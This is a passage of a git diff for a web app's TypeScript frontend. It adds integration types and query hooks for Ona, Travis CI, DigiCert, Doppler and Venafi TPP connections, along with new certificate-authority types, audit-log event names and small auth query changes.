diff --git a/frontend/src/hooks/api/appConnections/enums.ts b/frontend/src/hooks/api/appConnections/enums.ts
index f57e65e16ce..149ac8a3c26 100644
--- a/frontend/src/hooks/api/appConnections/enums.ts
+++ b/frontend/src/hooks/api/appConnections/enums.ts
@@ -52,7 +52,12 @@ export enum AppConnection {
   CircleCI = "circleci",
   AzureEntraId = "azure-entra-id",
   Venafi = "venafi",
+  VenafiTpp = "venafi-tpp",
   ExternalInfisical = "external-infisical",
+  Doppler = "doppler",
   NetScaler = "netscaler",
-  Anthropic = "anthropic"
+  Anthropic = "anthropic",
+  Ona = "ona",
+  DigiCert = "digicert",
+  TravisCI = "travis-ci"
 }
diff --git a/frontend/src/hooks/api/appConnections/ona/index.ts b/frontend/src/hooks/api/appConnections/ona/index.ts
new file mode 100644
index 00000000000..2c1906d3698
--- /dev/null
+++ b/frontend/src/hooks/api/appConnections/ona/index.ts
@@ -0,0 +1,2 @@
+export * from "./queries";
+export * from "./types";
diff --git a/frontend/src/hooks/api/appConnections/ona/queries.tsx b/frontend/src/hooks/api/appConnections/ona/queries.tsx
new file mode 100644
index 00000000000..44e27550fd3
--- /dev/null
+++ b/frontend/src/hooks/api/appConnections/ona/queries.tsx
@@ -0,0 +1,37 @@
+import { useQuery, UseQueryOptions } from "@tanstack/react-query";
+
+import { apiRequest } from "@app/config/request";
+
+import { appConnectionKeys } from "../queries";
+import { TOnaProject } from "./types";
+
+const onaConnectionKeys = {
+  all: [...appConnectionKeys.all, "ona"] as const,
+  listProjects: (connectionId: string) =>
+    [...onaConnectionKeys.all, "projects", connectionId] as const
+};
+
+export const useOnaConnectionListProjects = (
+  connectionId: string,
+  options?: Omit<
+    UseQueryOptions<
+      TOnaProject[],
+      unknown,
+      TOnaProject[],
+      ReturnType<typeof onaConnectionKeys.listProjects>
+    >,
+    "queryKey" | "queryFn"
+  >
+) => {
+  return useQuery({
+    queryKey: onaConnectionKeys.listProjects(connectionId),
+    queryFn: async () => {
+      const { data } = await apiRequest.get<TOnaProject[]>(
+        `/api/v1/app-connections/ona/${connectionId}/projects`
+      );
+
+      return data;
+    },
+    ...options
+  });
+};
diff --git a/frontend/src/hooks/api/appConnections/ona/types.ts b/frontend/src/hooks/api/appConnections/ona/types.ts
new file mode 100644
index 00000000000..c9cacd254aa
--- /dev/null
+++ b/frontend/src/hooks/api/appConnections/ona/types.ts
@@ -0,0 +1,4 @@
+export type TOnaProject = {
+  id: string;
+  name: string;
+};
diff --git a/frontend/src/hooks/api/appConnections/travis-ci/index.ts b/frontend/src/hooks/api/appConnections/travis-ci/index.ts
new file mode 100644
index 00000000000..2c1906d3698
--- /dev/null
+++ b/frontend/src/hooks/api/appConnections/travis-ci/index.ts
@@ -0,0 +1,2 @@
+export * from "./queries";
+export * from "./types";
diff --git a/frontend/src/hooks/api/appConnections/travis-ci/queries.tsx b/frontend/src/hooks/api/appConnections/travis-ci/queries.tsx
new file mode 100644
index 00000000000..dc71889d119
--- /dev/null
+++ b/frontend/src/hooks/api/appConnections/travis-ci/queries.tsx
@@ -0,0 +1,68 @@
+import { useQuery, UseQueryOptions } from "@tanstack/react-query";
+
+import { apiRequest } from "@app/config/request";
+
+import { appConnectionKeys } from "../queries";
+import { TTravisCIBranch, TTravisCIRepository } from "./types";
+
+const travisCIConnectionKeys = {
+  all: [...appConnectionKeys.all, "travis-ci"] as const,
+  listRepositories: (connectionId: string) =>
+    [...travisCIConnectionKeys.all, "repositories", connectionId] as const,
+  listBranches: (connectionId: string, repositoryId: string) =>
+    [...travisCIConnectionKeys.all, "branches", connectionId, repositoryId] as const
+};
+
+export const useTravisCIConnectionListRepositories = (
+  connectionId: string,
+  options?: Omit<
+    UseQueryOptions<
+      TTravisCIRepository[],
+      unknown,
+      TTravisCIRepository[],
+      ReturnType<typeof travisCIConnectionKeys.listRepositories>
+    >,
+    "queryKey" | "queryFn"
+  >
+) => {
+  return useQuery({
+    queryKey: travisCIConnectionKeys.listRepositories(connectionId),
+    queryFn: async () => {
+      const { data } = await apiRequest.get<TTravisCIRepository[]>(
+        `/api/v1/app-connections/travis-ci/${connectionId}/repositories`
+      );
+
+      return data;
+    },
+    ...options
+  });
+};
+
+export const useTravisCIConnectionListBranches = (
+  connectionId: string,
+  repositoryId: string,
+  options?: Omit<
+    UseQueryOptions<
+      TTravisCIBranch[],
+      unknown,
+      TTravisCIBranch[],
+      ReturnType<typeof travisCIConnectionKeys.listBranches>
+    >,
+    "queryKey" | "queryFn"
+  >
+) => {
+  return useQuery({
+    queryKey: travisCIConnectionKeys.listBranches(connectionId, repositoryId),
+    queryFn: async () => {
+      const { data } = await apiRequest.get<TTravisCIBranch[]>(
+        `/api/v1/app-connections/travis-ci/${connectionId}/branches`,
+        {
+          params: { repositoryId }
+        }
+      );
+
+      return data;
+    },
+    ...options
+  });
+};
diff --git a/frontend/src/hooks/api/appConnections/travis-ci/types.ts b/frontend/src/hooks/api/appConnections/travis-ci/types.ts
new file mode 100644
index 00000000000..1519efe0f07
--- /dev/null
+++ b/frontend/src/hooks/api/appConnections/travis-ci/types.ts
@@ -0,0 +1,10 @@
+export type TTravisCIRepository = {
+  id: string;
+  name: string;
+  slug: string;
+};
+
+export type TTravisCIBranch = {
+  name: string;
+  isDefault: boolean;
+};
diff --git a/frontend/src/hooks/api/appConnections/types/app-options.ts b/frontend/src/hooks/api/appConnections/types/app-options.ts
index 37f2bffdbea..6a56e5e3e60 100644
--- a/frontend/src/hooks/api/appConnections/types/app-options.ts
+++ b/frontend/src/hooks/api/appConnections/types/app-options.ts
@@ -228,10 +228,17 @@ export type TVenafiConnectionOption = TAppConnectionOptionBase & {
   app: AppConnection.Venafi;
 };
 
+export type TVenafiTppConnectionOption = TAppConnectionOptionBase & {
+  app: AppConnection.VenafiTpp;
+};
+
 export type TExternalInfisicalConnectionOption = TAppConnectionOptionBase & {
   app: AppConnection.ExternalInfisical;
 };
 
+export type TDopplerConnectionOption = TAppConnectionOptionBase & {
+  app: AppConnection.Doppler;
+};
 export type TNetScalerConnectionOption = TAppConnectionOptionBase & {
   app: AppConnection.NetScaler;
 };
@@ -240,6 +247,18 @@ export type TAnthropicConnectionOption = TAppConnectionOptionBase & {
   app: AppConnection.Anthropic;
 };
 
+export type TOnaConnectionOption = TAppConnectionOptionBase & {
+  app: AppConnection.Ona;
+};
+
+export type TDigiCertConnectionOption = TAppConnectionOptionBase & {
+  app: AppConnection.DigiCert;
+};
+
+export type TTravisCIConnectionOption = TAppConnectionOptionBase & {
+  app: AppConnection.TravisCI;
+};
+
 export type TAppConnectionOption =
   | TAwsConnectionOption
   | TGitHubConnectionOption
@@ -294,9 +313,14 @@ export type TAppConnectionOption =
   | TSmbConnectionOption
   | TAzureEntraIdConnectionOption
   | TVenafiConnectionOption
+  | TVenafiTppConnectionOption
   | TExternalInfisicalConnectionOption
+  | TDopplerConnectionOption
   | TNetScalerConnectionOption
-  | TAnthropicConnectionOption;
+  | TAnthropicConnectionOption
+  | TOnaConnectionOption
+  | TDigiCertConnectionOption
+  | TTravisCIConnectionOption;
 
 export type TAppConnectionOptionMap = {
   [AppConnection.AWS]: TAwsConnectionOption;
@@ -352,7 +376,12 @@ export type TAppConnectionOptionMap = {
   [AppConnection.CircleCI]: TCircleCISyncConnectionOption;
   [AppConnection.AzureEntraId]: TAzureEntraIdConnectionOption;
   [AppConnection.Venafi]: TVenafiConnectionOption;
+  [AppConnection.VenafiTpp]: TVenafiTppConnectionOption;
   [AppConnection.ExternalInfisical]: TExternalInfisicalConnectionOption;
+  [AppConnection.Doppler]: TDopplerConnectionOption;
   [AppConnection.NetScaler]: TNetScalerConnectionOption;
   [AppConnection.Anthropic]: TAnthropicConnectionOption;
+  [AppConnection.Ona]: TOnaConnectionOption;
+  [AppConnection.DigiCert]: TDigiCertConnectionOption;
+  [AppConnection.TravisCI]: TTravisCIConnectionOption;
 };
diff --git a/frontend/src/hooks/api/appConnections/types/digicert-connection.ts b/frontend/src/hooks/api/appConnections/types/digicert-connection.ts
new file mode 100644
index 00000000000..8c31f13dbfb
--- /dev/null
+++ b/frontend/src/hooks/api/appConnections/types/digicert-connection.ts
@@ -0,0 +1,19 @@
+import { AppConnection } from "@app/hooks/api/appConnections/enums";
+import { TRootAppConnection } from "@app/hooks/api/appConnections/types/root-connection";
+
+export enum DigiCertConnectionMethod {
+  ApiKey = "api-key"
+}
+
+export enum DigiCertRegion {
+  US = "us",
+  EU = "eu"
+}
+
+export type TDigiCertConnection = TRootAppConnection & { app: AppConnection.DigiCert } & {
+  method: DigiCertConnectionMethod.ApiKey;
+  credentials: {
+    apiKey: string;
+    region: DigiCertRegion;
+  };
+};
diff --git a/frontend/src/hooks/api/appConnections/types/doppler-connection.ts b/frontend/src/hooks/api/appConnections/types/doppler-connection.ts
new file mode 100644
index 00000000000..97a91b23a9f
--- /dev/null
+++ b/frontend/src/hooks/api/appConnections/types/doppler-connection.ts
@@ -0,0 +1,13 @@
+import { AppConnection } from "@app/hooks/api/appConnections/enums";
+import { TRootAppConnection } from "@app/hooks/api/appConnections/types/root-connection";
+
+export enum DopplerConnectionMethod {
+  ApiToken = "api-token"
+}
+
+export type TDopplerConnection = TRootAppConnection & { app: AppConnection.Doppler } & {
+  method: DopplerConnectionMethod.ApiToken;
+  credentials: {
+    apiToken: string;
+  };
+};
diff --git a/frontend/src/hooks/api/appConnections/types/index.ts b/frontend/src/hooks/api/appConnections/types/index.ts
index 4194265e717..e798d35b2fe 100644
--- a/frontend/src/hooks/api/appConnections/types/index.ts
+++ b/frontend/src/hooks/api/appConnections/types/index.ts
@@ -19,8 +19,10 @@ import { TCircleCIConnection } from "./circleci-connection";
 import { TCloudflareConnection } from "./cloudflare-connection";
 import { TDatabricksConnection } from "./databricks-connection";
 import { TDbtConnection } from "./dbt-connection";
+import { TDigiCertConnection } from "./digicert-connection";
 import { TDigitalOceanConnection } from "./digital-ocean";
 import { TDNSMadeEasyConnection } from "./dns-made-easy-connection";
+import { TDopplerConnection } from "./doppler-connection";
 import { TExternalInfisicalConnection } from "./external-infisical-connection";
 import { TFlyioConnection } from "./flyio-connection";
 import { TGcpConnection } from "./gcp-connection";
@@ -41,6 +43,7 @@ import { TNorthflankConnection } from "./northflank-connection";
 import { TOCIConnection } from "./oci-connection";
 import { TOctopusDeployConnection } from "./octopus-deploy-connection";
 import { TOktaConnection } from "./okta-connection";
+import { TOnaConnection } from "./ona-connection";
 import { TOpenRouterConnection } from "./open-router-connection";
 import { TOracleDBConnection } from "./oracledb-connection";
 import { TPostgresConnection } from "./postgres-connection";
@@ -52,7 +55,9 @@ import { TSshConnection } from "./ssh-connection";
 import { TSupabaseConnection } from "./supabase-connection";
 import { TTeamCityConnection } from "./teamcity-connection";
 import { TTerraformCloudConnection } from "./terraform-cloud-connection";
+import { TTravisCIConnection } from "./travis-ci-connection";
 import { TVenafiConnection } from "./venafi-connection";
+import { TVenafiTppConnection } from "./venafi-tpp-connection";
 import { TVercelConnection } from "./vercel-connection";
 import { TWindmillConnection } from "./windmill-connection";
 import { TZabbixConnection } from "./zabbix-connection";
@@ -75,7 +80,9 @@ export * from "./circleci-connection";
 export * from "./cloudflare-connection";
 export * from "./databricks-connection";
 export * from "./dbt-connection";
+export * from "./digicert-connection";
 export * from "./dns-made-easy-connection";
+export * from "./doppler-connection";
 export * from "./external-infisical-connection";
 export * from "./flyio-connection";
 export * from "./gcp-connection";
@@ -96,6 +103,7 @@ export * from "./northflank-connection";
 export * from "./oci-connection";
 export * from "./octopus-deploy-connection";
 export * from "./okta-connection";
+export * from "./ona-connection";
 export * from "./open-router-connection";
 export * from "./oracledb-connection";
 export * from "./postgres-connection";
@@ -107,7 +115,9 @@ export * from "./ssh-connection";
 export * from "./supabase-connection";
 export * from "./teamcity-connection";
 export * from "./terraform-cloud-connection";
+export * from "./travis-ci-connection";
 export * from "./venafi-connection";
+export * from "./venafi-tpp-connection";
 export * from "./vercel-connection";
 export * from "./windmill-connection";
 export * from "./zabbix-connection";
@@ -167,8 +177,13 @@ export type TAppConnection =
   | TCircleCIConnection
   | TAzureEntraIdConnection
   | TVenafiConnection
+  | TVenafiTppConnection
   | TExternalInfisicalConnection
-  | TNetScalerConnection;
+  | TNetScalerConnection
+  | TDopplerConnection
+  | TOnaConnection
+  | TDigiCertConnection
+  | TTravisCIConnection;
 
 export type TAvailableAppConnection = Pick<TAppConnection, "name" | "id" | "projectId">;
 
diff --git a/frontend/src/hooks/api/appConnections/types/ona-connection.ts b/frontend/src/hooks/api/appConnections/types/ona-connection.ts
new file mode 100644
index 00000000000..eabc66e0c63
--- /dev/null
+++ b/frontend/src/hooks/api/appConnections/types/ona-connection.ts
@@ -0,0 +1,13 @@
+import { AppConnection } from "@app/hooks/api/appConnections/enums";
+import { TRootAppConnection } from "@app/hooks/api/appConnections/types/root-connection";
+
+export enum OnaConnectionMethod {
+  PersonalAccessToken = "personal-access-token"
+}
+
+export type TOnaConnection = TRootAppConnection & { app: AppConnection.Ona } & {
+  method: OnaConnectionMethod.PersonalAccessToken;
+  credentials: {
+    personalAccessToken: string;
+  };
+};
diff --git a/frontend/src/hooks/api/appConnections/types/travis-ci-connection.ts b/frontend/src/hooks/api/appConnections/types/travis-ci-connection.ts
new file mode 100644
index 00000000000..0c5085ae0a3
--- /dev/null
+++ b/frontend/src/hooks/api/appConnections/types/travis-ci-connection.ts
@@ -0,0 +1,13 @@
+import { AppConnection } from "@app/hooks/api/appConnections/enums";
+import { TRootAppConnection } from "@app/hooks/api/appConnections/types/root-connection";
+
+export enum TravisCIConnectionMethod {
+  ApiToken = "api-token"
+}
+
+export type TTravisCIConnection = TRootAppConnection & { app: AppConnection.TravisCI } & {
+  method: TravisCIConnectionMethod.ApiToken;
+  credentials: {
+    apiToken: string;
+  };
+};
diff --git a/frontend/src/hooks/api/appConnections/types/venafi-tpp-connection.ts b/frontend/src/hooks/api/appConnections/types/venafi-tpp-connection.ts
new file mode 100644
index 00000000000..f8c20d27ac1
--- /dev/null
+++ b/frontend/src/hooks/api/appConnections/types/venafi-tpp-connection.ts
@@ -0,0 +1,16 @@
+import { AppConnection } from "../enums";
+import { TRootAppConnection } from "./root-connection";
+
+export enum VenafiTppConnectionMethod {
+  OAuth = "oauth"
+}
+
+export type TVenafiTppConnection = TRootAppConnection & {
+  app: AppConnection.VenafiTpp;
+  method: VenafiTppConnectionMethod.OAuth;
+  credentials: {
+    tppUrl: string;
+    clientId: string;
+    username: string;
+  };
+};
diff --git a/frontend/src/hooks/api/auditLogs/constants.tsx b/frontend/src/hooks/api/auditLogs/constants.tsx
index ca3efb411d4..de623df749f 100644
--- a/frontend/src/hooks/api/auditLogs/constants.tsx
+++ b/frontend/src/hooks/api/auditLogs/constants.tsx
@@ -245,6 +245,15 @@ export const eventToNameMap: { [K in EventType]: string } = {
   [EventType.DASHBOARD_GET_SECRET_VALUE]: "Dashboard Get Secret Value",
   [EventType.DASHBOARD_GET_SECRET_VERSION_VALUE]: "Dashboard Get Secret Version Value",
 
+  [EventType.VIEW_INSIGHTS_SECRETS_MANAGEMENT_CALENDAR]:
+    "View Secrets Management Calendar Insights",
+  [EventType.VIEW_INSIGHTS_SECRETS_MANAGEMENT_ACCESS_VOLUME]:
+    "View Secrets Management Access Volume Insights",
+  [EventType.VIEW_INSIGHTS_SECRETS_MANAGEMENT_ACCESS_LOCATIONS]:
+    "View Secrets Management Access Locations Insights",
+  [EventType.VIEW_INSIGHTS_AUTH_METHODS]: "View Machine Identity Auth Methods Insights",
+  [EventType.VIEW_INSIGHTS_SECRETS_MANAGEMENT_SUMMARY]: "View Secrets Management Summary Insights",
+
   [EventType.CREATE_PROJECT_ROLE]: "Create Project Role",
   [EventType.UPDATE_PROJECT_ROLE]: "Update Project Role",
   [EventType.DELETE_PROJECT_ROLE]: "Delete Project Role",
@@ -319,6 +328,16 @@ export const eventToNameMap: { [K in EventType]: string } = {
   [EventType.GET_CERTIFICATE_PROFILE_LATEST_ACTIVE_BUNDLE]:
     "Get Certificate Profile Latest Active Bundle",
 
+  [EventType.CREATE_CERTIFICATE_REQUEST]: "Create Certificate Request",
+  [EventType.GET_CERTIFICATE_REQUEST]: "Get Certificate Request",
+  [EventType.GET_CERTIFICATE_FROM_REQUEST]: "Get Certificate From Request",
+  [EventType.LIST_CERTIFICATE_REQUESTS]: "List Certificate Requests",
+  [EventType.TRIGGER_CERTIFICATE_REQUEST_VALIDATION]: "Trigger Certificate Request Validation",
+
+  [EventType.SCEP_ENROLLMENT]: "SCEP Certificate Enrollment",
+  [EventType.SCEP_RENEWAL]: "SCEP Certificate Renewal",
+  [EventType.SCEP_DYNAMIC_CHALLENGE_GENERATED]: "SCEP Dynamic Challenge Generated",
+
   [EventType.APPROVAL_POLICY_CREATE]: "Create Approval Policy",
   [EventType.APPROVAL_POLICY_UPDATE]: "Update Approval Policy",
   [EventType.APPROVAL_POLICY_DELETE]: "Delete Approval Policy",
@@ -374,7 +393,12 @@ export const eventToNameMap: { [K in EventType]: string } = {
 
   [EventType.SECRET_VALIDATION_RULE_CREATE]: "Create Secret Validation Rule",
   [EventType.SECRET_VALIDATION_RULE_UPDATE]: "Update Secret Validation Rule",
-  [EventType.SECRET_VALIDATION_RULE_DELETE]: "Delete Secret Validation Rule"
+  [EventType.SECRET_VALIDATION_RULE_DELETE]: "Delete Secret Validation Rule",
+
+  // External Migration
+  [EventType.EXTERNAL_MIGRATION_CREATE]: "Create External Migration",
+  [EventType.EXTERNAL_MIGRATION_UPDATE]: "Update External Migration",
+  [EventType.EXTERNAL_MIGRATION_DELETE]: "Delete External Migration"
 };
 
 export const userAgentTypeToNameMap: { [K in UserAgentType]: string } = {
diff --git a/frontend/src/hooks/api/auditLogs/enums.tsx b/frontend/src/hooks/api/auditLogs/enums.tsx
index 5c12c354eff..69456eba0d7 100644
--- a/frontend/src/hooks/api/auditLogs/enums.tsx
+++ b/frontend/src/hooks/api/auditLogs/enums.tsx
@@ -240,6 +240,12 @@ export enum EventType {
   DASHBOARD_GET_SECRET_VALUE = "dashboard-get-secret-value",
   DASHBOARD_GET_SECRET_VERSION_VALUE = "dashboard-get-secret-version-value",
 
+  VIEW_INSIGHTS_SECRETS_MANAGEMENT_CALENDAR = "view-insights-secrets-management-calendar",
+  VIEW_INSIGHTS_SECRETS_MANAGEMENT_ACCESS_VOLUME = "view-insights-secrets-management-access-volume",
+  VIEW_INSIGHTS_SECRETS_MANAGEMENT_ACCESS_LOCATIONS = "view-insights-secrets-management-access-locations",
+  VIEW_INSIGHTS_SECRETS_MANAGEMENT_SUMMARY = "view-insights-secrets-management-summary",
+  VIEW_INSIGHTS_AUTH_METHODS = "view-insights-auth-methods",
+
   CREATE_PROJECT_ROLE = "create-project-role",
   UPDATE_PROJECT_ROLE = "update-project-role",
   DELETE_PROJECT_ROLE = "delete-project-role",
@@ -313,6 +319,16 @@ export enum EventType {
   ORDER_CERTIFICATE_FROM_PROFILE = "order-certificate-from-profile",
   GET_CERTIFICATE_PROFILE_LATEST_ACTIVE_BUNDLE = "get-certificate-profile-latest-active-bundle",
 
+  CREATE_CERTIFICATE_REQUEST = "create-certificate-request",
+  GET_CERTIFICATE_REQUEST = "get-certificate-request",
+  GET_CERTIFICATE_FROM_REQUEST = "get-certificate-from-request",
+  LIST_CERTIFICATE_REQUESTS = "list-certificate-requests",
+  TRIGGER_CERTIFICATE_REQUEST_VALIDATION = "trigger-certificate-request-validation",
+
+  SCEP_ENROLLMENT = "scep-enrollment",
+  SCEP_RENEWAL = "scep-renewal",
+  SCEP_DYNAMIC_CHALLENGE_GENERATED = "scep-dynamic-challenge-generated",
+
   APPROVAL_POLICY_CREATE = "approval-policy-create",
   APPROVAL_POLICY_UPDATE = "approval-policy-update",
   APPROVAL_POLICY_DELETE = "approval-policy-delete",
@@ -372,5 +388,10 @@ export enum EventType {
   // Secret Validation Rules
   SECRET_VALIDATION_RULE_CREATE = "secret-validation-rule-create",
   SECRET_VALIDATION_RULE_UPDATE = "secret-validation-rule-update",
-  SECRET_VALIDATION_RULE_DELETE = "secret-validation-rule-delete"
+  SECRET_VALIDATION_RULE_DELETE = "secret-validation-rule-delete",
+
+  // External Migration
+  EXTERNAL_MIGRATION_CREATE = "external-migration-create",
+  EXTERNAL_MIGRATION_UPDATE = "external-migration-update",
+  EXTERNAL_MIGRATION_DELETE = "external-migration-delete"
 }
diff --git a/frontend/src/hooks/api/auth/queries.tsx b/frontend/src/hooks/api/auth/queries.tsx
index 488a2667be4..3e906f0e35f 100644
--- a/frontend/src/hooks/api/auth/queries.tsx
+++ b/frontend/src/hooks/api/auth/queries.tsx
@@ -80,7 +80,6 @@ export const useSelectOrganization = () => {
       // If a custom user agent is set, then this session is meant for another consuming application, not the web application.
       if (!details.userAgent && !data.isMfaEnabled) {
         SecurityClient.setToken(data.token);
-        SecurityClient.setProviderAuthToken("");
       }
 
       if (data.token && !data.isMfaEnabled) {
@@ -101,11 +100,9 @@ export const useSelectOrganization = () => {
       return data;
     },
     onSuccess: () => {
-      // Invalidate the auth token cache so the authenticate middleware
-      // re-calls fetchAuthToken (which reads the new in-memory token with orgId)
       queryClient.invalidateQueries({ queryKey: authKeys.getAuthToken });
       queryClient.invalidateQueries({ queryKey: organizationKeys.getUserOrganizations });
-      queryClient.invalidateQueries({ queryKey: projectKeys.getAllUserProjects });
+      queryClient.invalidateQueries({ queryKey: projectKeys.getAllUserProjects() });
     }
   });
 };
@@ -253,6 +250,8 @@ export const useGetAuthToken = () =>
   useQuery({
     queryKey: authKeys.getAuthToken,
     queryFn: fetchAuthToken,
+    staleTime: 0,
+    gcTime: 0,
     retry: 0
   });
 
diff --git a/frontend/src/hooks/api/auth/types.ts b/frontend/src/hooks/api/auth/types.ts
index bc4c27446b9..d73f9edd140 100644
--- a/frontend/src/hooks/api/auth/types.ts
+++ b/frontend/src/hooks/api/auth/types.ts
@@ -105,10 +105,12 @@ export type CompleteAccountSignupDTO =
       password: string;
       attributionSource?: string;
       organizationName?: string;
+      hubspotUtk?: string;
     }
   | {
       type: "alias";
       code: string;
+      hubspotUtk?: string;
     };
 
 export type VerifySignupInviteDTO = {
diff --git a/frontend/src/hooks/api/ca/constants.tsx b/frontend/src/hooks/api/ca/constants.tsx
index 5ab6ccad43e..658d58f125e 100644
--- a/frontend/src/hooks/api/ca/constants.tsx
+++ b/frontend/src/hooks/api/ca/constants.tsx
@@ -44,13 +44,27 @@ export const CA_TYPE_CAPABILITIES_MAP: Record<CaType, CaCapability[]> = {
     CaCapability.ISSUE_CERTIFICATES,
     CaCapability.REVOKE_CERTIFICATES,
     CaCapability.RENEW_CERTIFICATES
-  ]
+  ],
+  [CaType.DIGICERT]: [
+    CaCapability.ISSUE_CERTIFICATES,
+    CaCapability.REVOKE_CERTIFICATES,
+    CaCapability.RENEW_CERTIFICATES
+  ],
+  [CaType.AWS_ACM_PUBLIC_CA]: [
+    CaCapability.ISSUE_CERTIFICATES,
+    CaCapability.REVOKE_CERTIFICATES,
+    CaCapability.RENEW_CERTIFICATES
+  ],
+  [CaType.VENAFI_TPP]: [CaCapability.ISSUE_CERTIFICATES, CaCapability.RENEW_CERTIFICATES]
 };
 
 export const EXTERNAL_CA_TYPE_NAME_MAP: Record<string, string> = {
   [CaType.ACME]: "ACME",
   [CaType.AZURE_AD_CS]: "Active Directory Certificate Services (AD CS)",
-  [CaType.AWS_PCA]: "AWS Private CA (PCA)"
+  [CaType.AWS_PCA]: "AWS Private CA (PCA)",
+  [CaType.DIGICERT]: "DigiCert CertCentral",
+  [CaType.AWS_ACM_PUBLIC_CA]: "AWS ACM Public CA",
+  [CaType.VENAFI_TPP]: "Venafi TPP"
 };
 
 /**
diff --git a/frontend/src/hooks/api/ca/enums.tsx b/frontend/src/hooks/api/ca/enums.tsx
index 27dca00c041..00fa3248966 100644
--- a/frontend/src/hooks/api/ca/enums.tsx
+++ b/frontend/src/hooks/api/ca/enums.tsx
@@ -2,7 +2,10 @@ export enum CaType {
   INTERNAL = "internal",
   ACME = "acme",
   AZURE_AD_CS = "azure-ad-cs",
-  AWS_PCA = "aws-pca"
+  AWS_PCA = "aws-pca",
+  DIGICERT = "digicert",
+  AWS_ACM_PUBLIC_CA = "aws-acm-public-ca",
+  VENAFI_TPP = "venafi-tpp"
 }
 
 export enum InternalCaType {
diff --git a/frontend/src/hooks/api/ca/queries.tsx b/frontend/src/hooks/api/ca/queries.tsx
index c629f0fb808..1cf31a0ad0e 100644
--- a/frontend/src/hooks/api/ca/queries.tsx
+++ b/frontend/src/hooks/api/ca/queries.tsx
@@ -82,7 +82,14 @@ export const useListExternalCasByProjectId = (projectId: string) => {
   return useQuery({
     queryKey: caKeys.listExternalCasByProjectId(projectId),
     queryFn: async () => {
-      const [acmeResponse, azureAdCsResponse, awsPcaResponse] = await Promise.allSettled([
+      const [
+        acmeResponse,
+        azureAdCsResponse,
+        awsPcaResponse,
+        digicertResponse,
+        awsAcmPublicCaResponse,
+        venafiTppResponse
+      ] = await Promise.allSettled([
         apiRequest.get<TUnifiedCertificateAuthority[]>(
           `/api/v1/cert-manager/ca/${CaType.ACME}?projectId=${projectId}`
         ),
@@ -91,6 +98,15 @@ export const useListExternalCasByProjectId = (projectId: string) => {
         ),
         apiRequest.get<TUnifiedCertificateAuthority[]>(
           `/api/v1/cert-manager/ca/${CaType.AWS_PCA}?projectId=${projectId}`
+        ),
+        apiRequest.get<TUnifiedCertificateAuthority[]>(
+          `/api/v1/cert-manager/ca/${CaType.DIGICERT}?projectId=${projectId}`
+        ),
+        apiRequest.get<TUnifiedCertificateAuthority[]>(
+          `/api/v1/cert-manager/ca/${CaType.AWS_ACM_PUBLIC_CA}?projectId=${projectId}`
+        ),
+        apiRequest.get<TUnifiedCertificateAuthority[]>(
+          `/api/v1/cert-manager/ca/${CaType.VENAFI_TPP}?projectId=${projectId}`
         )
       ]);
 
@@ -108,6 +124,18 @@ export const useListExternalCasByProjectId = (projectId: string) => {
         allCas.push(...awsPcaResponse.value.data);
       }
 
+      if (digicertResponse.status === "fulfilled") {
+        allCas.push(...digicertResponse.value.data);
+      }
+
+      if (awsAcmPublicCaResponse.status === "fulfilled") {
+        allCas.push(...awsAcmPublicCaResponse.value.data);
+      }
+
+      if (venafiTppResponse.status === "fulfilled") {
+        allCas.push(...venafiTppResponse.value.data);
+      }
+
       return allCas;
     }
   });
@@ -249,7 +277,7 @@ export const useGetCaAutoRenewal = (caId: string, options?: { enabled?: boolean
     enabled: options?.enabled !== undefined ? options.enabled : Boolean(caId),
     refetchInterval: (query) => {
       const { data } = query.state;
-      if (data?.lastRenewalStatus === CaRenewalStatus.PENDING) return 3000;
+      if (data?.lastRenewalStatus === CaRenewalStatus.PENDING) return 10_000;
       return false;
     }
   });
diff --git a/frontend/src/hooks/api/ca/types.ts b/frontend/src/hooks/api/ca/types.ts
index 5614d403b08..179db754fde 100644
--- a/frontend/src/hooks/api/ca/types.ts
+++ b/frontend/src/hooks/api/ca/types.ts
@@ -49,6 +49,48 @@ export type TAwsPcaCertificateAuthority = {
   };
 };
 
+export type TDigiCertCertificateAuthority = {
+  id: string;
+  projectId: string;
+  type: CaType.DIGICERT;
+  status: CaStatus;
+  name: string;
+  enableDirectIssuance: boolean;
+  configuration: {
+    appConnectionId: string;
+    organizationId: number;
+    productNameId: string;
+  };
+};
+
+export type TAwsAcmPublicCaCertificateAuthority = {
+  id: string;
+  projectId: string;
+  type: CaType.AWS_ACM_PUBLIC_CA;
+  status: CaStatus;
+  name: string;
+  enableDirectIssuance: boolean;
+  configuration: {
+    appConnectionId: string;
+    dnsAppConnectionId: string;
+    hostedZoneId: string;
+    region: string;
+  };
+};
+
+export type TVenafiTppCertificateAuthority = {
+  id: string;
+  projectId: string;
+  type: CaType.VENAFI_TPP;
+  status: CaStatus;
+  name: string;
+  enableDirectIssuance: boolean;
+  configuration: {
+    appConnectionId: string;
+    policyDN: string;
+  };
+};
+
 export type TInternalCertificateAuthority = {
   id: string;
   projectId: string;
@@ -80,6 +122,9 @@ export type TUnifiedCertificateAuthority =
   | TAcmeCertificateAuthority
   | TAzureAdCsCertificateAuthority
   | TAwsPcaCertificateAuthority
+  | TDigiCertCertificateAuthority
+  | TAwsAcmPublicCaCertificateAuthority
+  | TVenafiTppCertificateAuthority
   | TInternalCertificateAuthority;
 
 export type TCreateCertificateAuthorityDTO = Omit<
diff --git a/frontend/src/hooks/api/certificateInventoryViews/index.tsx b/frontend/src/hooks/api/certificateInventoryViews/index.tsx
new file mode 100644
index 00000000000..39933878864
--- /dev/null
+++ b/frontend/src/hooks/api/certificateInventoryViews/index.tsx
@@ -0,0 +1,14 @@
+export {
+  useCreateCertificateInventoryView,
+  useDeleteCertificateInventoryView,
+  useUpdateCertificateInventoryView
+} from "./mutations";
+export { useListCertificateInventoryViews } from "./queries";
+export type {
+  TCertificateInventoryView,
+  TCreateInventoryViewDTO,
+  TDeleteInventoryViewDTO,
+  TListInventoryViewsResponse,
+  TSystemView,
+  TUpdateInventoryViewDTO
+} from "./types";
diff --git a/frontend/src/hooks/api/certificateInventoryViews/mutations.tsx b/frontend/src/hooks/api/certificateInventoryViews/mutations.tsx
new file mode 100644
index 00000000000..d6b7a1fd076
--- /dev/null
+++ b/frontend/src/hooks/api/certificateInventoryViews/mutations.tsx
@@ -0,0 +1,74 @@
+import { useMutation, useQueryClient } from "@tanstack/react-query";
+
+import { apiRequest } from "@app/config/request";
+
+import { certificateInventoryViewKeys } from "./queries";
+import {
+  TCertificateInventoryView,
+  TCreateInventoryViewDTO,
+  TDeleteInventoryViewDTO,
+  TUpdateInventoryViewDTO
+} from "./types";
+
+export const useCreateCertificateInventoryView = () => {
+  const queryClient = useQueryClient();
+
+  return useMutation({
